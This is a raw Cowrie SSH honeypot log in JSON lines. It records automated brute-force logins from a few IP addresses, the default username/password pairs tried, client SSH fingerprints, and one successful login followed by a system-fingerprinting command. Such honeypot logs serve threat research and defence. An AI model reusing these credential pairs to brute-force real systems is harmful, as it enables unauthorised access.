{"eventid":"cowrie.login.failed","username":"root","password":"parolamea","message":"login attempt [root/parolamea] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:38.376969Z","src_ip":"192.109.200.237","session":"3e2b85c875c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:38.780406Z","src_ip":"94.159.98.239","session":"4e2898f6f8de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:39.461378Z","src_ip":"192.109.200.237","session":"3e2b85c875c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48982,"dst_ip":"159.203.135.109","dst_port":22,"session":"f844d4c3e527","protocol":"ssh","message":"New connection: 192.109.200.237:48982 (159.203.135.109:22) [session: f844d4c3e527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:41.144616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:41.149221Z","src_ip":"192.109.200.237","session":"f844d4c3e527","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:41.231156Z","src_ip":"192.109.200.237","session":"f844d4c3e527","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:41.477947Z","src_ip":"192.109.200.237","session":"f844d4c3e527","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:42.673561Z","src_ip":"192.109.200.237","session":"f844d4c3e527","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":48994,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb466767629c","protocol":"ssh","message":"New connection: 192.109.200.237:48994 (159.203.135.109:22) [session: bb466767629c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:44.179192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:44.182926Z","src_ip":"192.109.200.237","session":"bb466767629c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:44.264708Z","src_ip":"192.109.200.237","session":"bb466767629c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"main","password":"main","message":"login attempt [main/main] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:44.708504Z","src_ip":"192.109.200.237","session":"bb466767629c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:45.793254Z","src_ip":"192.109.200.237","session":"bb466767629c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49002,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0633343e41f","protocol":"ssh","message":"New connection: 192.109.200.237:49002 (159.203.135.109:22) [session: a0633343e41f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:47.321700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:47.326005Z","src_ip":"192.109.200.237","session":"a0633343e41f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:47.407379Z","src_ip":"192.109.200.237","session":"a0633343e41f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:47.656120Z","src_ip":"192.109.200.237","session":"a0633343e41f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:48.741158Z","src_ip":"192.109.200.237","session":"a0633343e41f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54284,"dst_ip":"159.203.135.109","dst_port":22,"session":"104a1e40a6d7","protocol":"ssh","message":"New connection: 192.109.200.237:54284 (159.203.135.109:22) [session: 104a1e40a6d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:50.372101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:50.376772Z","src_ip":"192.109.200.237","session":"104a1e40a6d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:50.459099Z","src_ip":"192.109.200.237","session":"104a1e40a6d7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam","message":"login attempt [steam/steam] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:50.775729Z","src_ip":"192.109.200.237","session":"104a1e40a6d7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:51.033198Z","src_ip":"192.109.200.237","session":"104a1e40a6d7","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:51.036731Z","src_ip":"192.109.200.237","session":"104a1e40a6d7","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:51.122845Z","src_ip":"192.109.200.237","session":"104a1e40a6d7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:51.127910Z","src_ip":"192.109.200.237","session":"104a1e40a6d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54312,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a71effb580d","protocol":"ssh","message":"New connection: 192.109.200.237:54312 (159.203.135.109:22) [session: 2a71effb580d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:53.551227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:53.555962Z","src_ip":"192.109.200.237","session":"2a71effb580d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:53.638385Z","src_ip":"192.109.200.237","session":"2a71effb580d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hu","password":"123456","message":"login attempt [hu/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:53.884778Z","src_ip":"192.109.200.237","session":"2a71effb580d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:54.970721Z","src_ip":"192.109.200.237","session":"2a71effb580d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54330,"dst_ip":"159.203.135.109","dst_port":22,"session":"5873300beafd","protocol":"ssh","message":"New connection: 192.109.200.237:54330 (159.203.135.109:22) [session: 5873300beafd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:56.567697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:56.574528Z","src_ip":"192.109.200.237","session":"5873300beafd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:56.656840Z","src_ip":"192.109.200.237","session":"5873300beafd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:56.902830Z","src_ip":"192.109.200.237","session":"5873300beafd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:57.987839Z","src_ip":"192.109.200.237","session":"5873300beafd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54340,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa61c91ca971","protocol":"ssh","message":"New connection: 192.109.200.237:54340 (159.203.135.109:22) [session: aa61c91ca971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:59.602009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:59.606264Z","src_ip":"192.109.200.237","session":"aa61c91ca971","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:48:59.772038Z","src_ip":"192.109.200.237","session":"aa61c91ca971","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:00.167575Z","src_ip":"192.109.200.237","session":"aa61c91ca971","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.61.232.245","src_port":39634,"dst_ip":"10.17.0.5","dst_port":22,"session":"96555ac3a506","protocol":"ssh","message":"New connection: 179.61.232.245:39634 (10.17.0.5:22) [session: 96555ac3a506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:00.575389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:00.580234Z","src_ip":"179.61.232.245","session":"96555ac3a506","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T08:49:00.615033Z","src_ip":"179.61.232.245","session":"96555ac3a506","protocol":"ssh"}
